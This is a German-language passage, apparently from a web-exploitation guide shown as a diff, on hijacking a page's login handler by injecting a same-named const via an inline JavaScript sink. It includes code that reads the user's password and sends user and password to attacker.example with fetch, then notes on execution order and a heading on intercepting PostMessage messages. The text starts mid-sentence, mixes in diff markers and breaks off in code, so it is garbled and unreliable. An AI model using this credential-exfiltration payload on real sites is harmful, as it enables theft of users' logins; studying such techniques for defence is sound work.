über einen inline JS-in-JS sink), definiere zuerst ein `const` mit demselben Namen, um den handler vorzubeugen und zu sperren. Spätere function declarations können einen `const`-Namen nicht neu binden, sodass dein hook die Kontrolle behält: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1433,18 +1446,18 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` Hinweise -- Dies hängt von der Ausführungsreihenfolge ab: Ihre injection muss vor der legitimen Deklaration ausgeführt werden. -- Wenn Ihr payload in `eval(...)` eingebettet ist, werden `const/let`-Bindings nicht zu globals. Verwenden Sie die dynamische ` ``` -### PostMessage-Nachrichten stehlen +### PostMessage-Nachrichten abfangen ```html